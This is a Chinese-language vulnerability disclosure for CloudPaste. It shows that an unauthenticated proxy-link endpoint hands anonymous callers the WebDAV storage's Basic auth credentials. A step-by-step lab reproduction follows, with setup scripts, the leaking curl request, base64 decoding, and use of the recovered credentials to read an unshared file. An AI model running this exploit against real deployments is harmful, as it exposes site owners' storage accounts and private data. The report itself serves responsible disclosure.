CloudPaste 漏洞报告

软件名称:CloudPaste

开发者或厂商:ling-drag0n

代码仓库:https://github.com/ling-drag0n/CloudPaste

1. 代理链接接口回显 WebDAV 存储凭据

简要描述:匿名访问者请求代理链接接口时,接口返回 WebDAV 存储配置的用户名和口令。
影响版本:1.1.0 ~ 1.9.1
漏洞引入:CloudPaste commit ef6edbaa
前置条件:目标实例存在基于 WebDAV 存储的公开文件分享链接。

漏洞成因

/api/proxy/link 供反向代理获取上游地址,路由没有挂载鉴权中间件。相关代码如下:

// backend/src/routes/proxyLinkRoutes.js:88-95    commit 282ea1c7fb
proxyLinkRoutes.post("/api/proxy/link", async (c) => {
  const db = c.env.DB;
  const encryptionSecret = getEncryptionSecret(c);
  const repositoryFactory = c.get("repos");

  const { type, path, slug } = await parseLinkBody(c);

分享分支取出分享记录后,通过 getShareUpstreamLink 生成上游请求,并把返回的 headers 放入响应。相关代码如下:

// backend/src/routes/proxyLinkRoutes.js:139-167    commit 282ea1c7fb
    case "share": {
      const file = await fileService.getFileBySlug(slug);
      const access = fileService.isFileAccessible(file);
      if (!access.accessible) {
        if (access.reason === "expired") {
          throw new AuthorizationError("File is expired");
        }
        throw new NotFoundError("File is not accessible");
      }

      const storageLink = await linkService.getShareUpstreamLink(
        file,
        // 分享视图只需要 user 类型与 id(目前仅用于后续扩展)
        { type: userType, id: userType === UserType.ADMIN ? userIdOrInfo : userIdOrInfo?.id ?? null },
        {
          request: c.req.raw,
        },
      );
      if (!storageLink || !storageLink.url) {
        throw new NotFoundError("Share file does not have a resolvable link");
      }

      return c.json(
        buildLinkResponse({
          url: storageLink.url,
          header: normalizeHeaders(storageLink.headers || {}),
        }),
        ApiStatus.OK,
      );
    }

use_proxy 为 0 时,getShareUpstreamLink 调用存储驱动的 generateUpstreamRequest。相关代码如下:

// backend/src/storage/link/LinkService.js:235-250    commit 282ea1c7fb
    // 2) use_proxy = 0 且驱动具备上游 HTTP 能力时,优先交给驱动返回 {url, headers},由反代直连存储
    try {
      if (typeof driver.generateUpstreamRequest === "function") {
        const upstream = await driver.generateUpstreamRequest(file.storage_path, {
          subPath: file.storage_path,
          request,
          userType: userInfo?.type || null,
          userId: userInfo?.id || null,
        });
        if (upstream && upstream.url) {
          const headers = normalizeUpstreamHeaders(upstream.headers);
          console.log(
            `[LinkService][share][upstream-http] 文件(${file.id || slug}) 上游使用驱动 UPSTREAM_HTTP 能力: ${upstream.url}`,
          );
          return createProxyLink(upstream.url, { headers });
        }
      }

WebDAV 驱动的 generateUpstreamRequest 把存储配置中的用户名和口令编码为 Basic 认证头,放入返回的 headers。相关代码如下:

// backend/src/storage/drivers/webdav/WebDavStorageDriver.js:800-819    commit 282ea1c7fb
  async generateUpstreamRequest(path, options = {}) {
    this._ensureInitialized();

    const { subPath } = options;
    const relativePath = subPath || path;
    const davPath = this._buildDavPath(relativePath, false);
    const url = this._buildRequestUrl(davPath);

    /** @type {Record<string,string[]>} */
    const headers = {};
    const auth = this._basicAuthHeader();
    if (auth) {
      headers["Authorization"] = [auth];
    }

    return {
      url,
      headers,
    };
  }

该 Basic 认证头是 CloudPaste 访问 WebDAV 服务所用的凭据。接口把它原样交给请求者,匿名访问者由此获得 WebDAV 账号。

复现环境搭建

使用官方 Docker compose 部署,保留官方默认端口,只把 frontend 服务的 BACKEND_URL 改为 http://127.0.0.1:8787:

mkdir cloudpaste && cd cloudpaste
wget https://raw.githubusercontent.com/ling-drag0n/CloudPaste/main/docker-compose.yml
# 编辑 docker-compose.yml,把 frontend 的 BACKEND_URL 改为 http://127.0.0.1:8787
docker compose -p cloudpaste-report up -d

另起一个需要 Basic 认证的 WebDAV 服务,账号为 davuser,口令为 davpass-SECRET,private.txt 的内容为 WEBDAV-PRIVATE-DATA,admin-notes.txt 的内容为 WEBDAV-UNSHARED-DATA:

from base64 import b64encode

from fastapi import FastAPI, HTTPException, Request, Response

USER = "davuser"
PASSWORD = "davpass-SECRET"
EXPECTED = "Basic " + b64encode(f"{USER}:{PASSWORD}".encode()).decode()

FILES = {
    "private.txt": b"WEBDAV-PRIVATE-DATA",
    "admin-notes.txt": b"WEBDAV-UNSHARED-DATA",
}

app = FastAPI()


@app.api_route("/dav/{path:path}", methods=["GET", "HEAD", "PROPFIND", "OPTIONS", "PUT"])
def dav(path: str, request: Request):
    if request.method == "OPTIONS":
        return Response(status_code=200, headers={"DAV": "1,2", "Allow": "OPTIONS,GET,HEAD,PUT,PROPFIND"})
    if request.headers.get("authorization") != EXPECTED:
        raise HTTPException(status_code=401, headers={"WWW-Authenticate": 'Basic realm="dav"'})
    if request.method == "PUT":
        return Response(status_code=201)
    body = FILES.get(path)
    if body is None:
        raise HTTPException(status_code=404)
    if request.method == "PROPFIND":
        xml = (
            '<?xml version="1.0" encoding="utf-8"?>'
            '<D:multistatus xmlns:D="DAV:"><D:response>'
            f"<D:href>/dav/{path}</D:href><D:propstat><D:prop>"
            f"<D:getcontentlength>{len(body)}</D:getcontentlength>"
            "<D:getcontenttype>text/plain</D:getcontenttype>"
            "<D:getlastmodified>Sat, 15 Nov 2026 08:00:00 GMT</D:getlastmodified>"
            "</D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"
        )
        return Response(xml, media_type="application/xml")
    if request.method == "HEAD":
        return Response(status_code=200, headers={"Content-Length": str(len(body)), "Content-Type": "text/plain"})
    return Response(body, media_type="text/plain")

启动服务:

uvicorn report_dav_server:app --host 0.0.0.0 --port 19098

下文以 172.20.0.1 表示该主机在 CloudPaste 容器内可访问的地址,可以用下面的命令查看:

docker network inspect cloudpaste-report_cloudpaste-network \
  -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'

复现过程

先登录管理员账号:

curl -s -X POST http://127.0.0.1:8787/api/admin/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"admin123"}'

响应如下:

{"success":true,"code":"OK","message":"登录成功","data":{"username":"admin","token":"GAyB7YVWrvJqLqTnZ6H1BpgVN44Z7nUK","expiresAt":"2026-11-22T01:44:05.674Z"}}

把响应中的 token 填入下面的脚本,创建 WEBDAV 存储配置和挂载点,并把 /dav/private.txt 创建为分享。脚本如下,依赖 httpx:

import httpx

BASE = "http://127.0.0.1:8787"
TOKEN = "GAyB7YVWrvJqLqTnZ6H1BpgVN44Z7nUK"

c = httpx.Client(base_url=BASE, timeout=40)
headers = {"Authorization": "Bearer " + TOKEN}

r = c.post("/api/storage", headers=headers, json={
    "name": "webdav-report",
    "storage_type": "WEBDAV",
    "is_public": 1,
    "endpoint_url": "http://172.20.0.1:19098/dav",
    "username": "davuser",
    "password": "davpass-SECRET",
})
print("POST /api/storage", r.status_code)
print(r.text)
cfg = r.json()["data"]

r = c.post("/api/mount/create", headers=headers, json={
    "name": "webdav-report",
    "storage_type": "WEBDAV",
    "storage_config_id": cfg["id"],
    "mount_path": "/dav",
    "web_proxy": 0,
    "is_active": True,
})
print("\nPOST /api/mount/create", r.status_code)
print(r.text)

r = c.post("/api/fs/create-share", headers=headers, json={"path": "/dav/private.txt"})
print("\nPOST /api/fs/create-share", r.status_code)
print(r.text)

创建存储配置的响应如下:

{"success":true,"code":"CREATED","message":"存储配置创建成功","data":{"default_folder":"","total_storage_bytes":10737418240,"enable_disk_usage":1,"endpoint_url":"http://172.20.0.1:19098/dav","username":"davuser","tls_insecure_skip_verify":0,"id":"c8e8800b-cc61-4afb-9571-1c2d13f20884","name":"webdav-report","storage_type":"WEBDAV","admin_id":"ecb37868-67d4-4aac-b109-2917de8c3d5b","is_public":1,"is_default":0,"remark":null,"url_proxy":null,"status":"ENABLED","created_at":"2026-11-15T01:44:05.696Z","updated_at":"2026-11-15T01:44:05.696Z","last_used":null}}

创建挂载点的响应如下:

{"success":true,"code":"CREATED","message":"挂载点创建成功","data":{"id":"d7f43a06-49e0-493c-8023-51fb3aeb8f6c","name":"webdav-report","storage_type":"WEBDAV","storage_config_id":"c8e8800b-cc61-4afb-9571-1c2d13f20884","mount_path":"/dav","remark":null,"is_active":1,"created_by":"ecb37868-67d4-4aac-b109-2917de8c3d5b","sort_order":0,"cache_ttl":300,"web_proxy":0,"webdav_policy":"302_redirect","enable_sign":0,"sign_expires":null,"enable_folder_summary_compute":0,"created_at":"2026-11-15T01:44:05.712Z","updated_at":"2026-11-15T01:44:05.712Z","last_used":null}}

创建分享的响应如下:

{"success":true,"code":"OK","message":"分享创建成功","data":{"id":"2ce05f30-9f3e-4ee1-996d-a889b23e75ad","slug":"mWFWZp","filename":"private.txt","mimetype":"text/plain","size":19,"remark":"来自文件系统: /dav/private.txt","created_at":"2026-11-15T01:44:05.789Z","requires_password":false,"views":0,"max_views":null,"expires_at":null,"url":"/file/mWFWZp","use_proxy":0,"created_by":"ecb37868-67d4-4aac-b109-2917de8c3d5b","used_original_filename":true,"storage_path":"private.txt","storage_type":"WEBDAV"}}

匿名请求代理链接接口:

curl -s -X POST http://127.0.0.1:8787/api/proxy/link \
  -H 'Content-Type: application/json' \
  -d '{"type":"share","slug":"mWFWZp"}'

响应如下:

{"code":200,"data":{"url":"http://172.20.0.1:19098/dav/private.txt","header":{"Authorization":["Basic ZGF2dXNlcjpkYXZwYXNzLVNFQ1JFVA=="]}}}

解码 Authorization 的值:

echo 'ZGF2dXNlcjpkYXZwYXNzLVNFQ1JFVA==' | base64 -d
davuser:davpass-SECRET

使用该账号读取没有被分享的 admin-notes.txt:

curl -s -u davuser:davpass-SECRET http://172.20.0.1:19098/dav/admin-notes.txt
WEBDAV-UNSHARED-DATA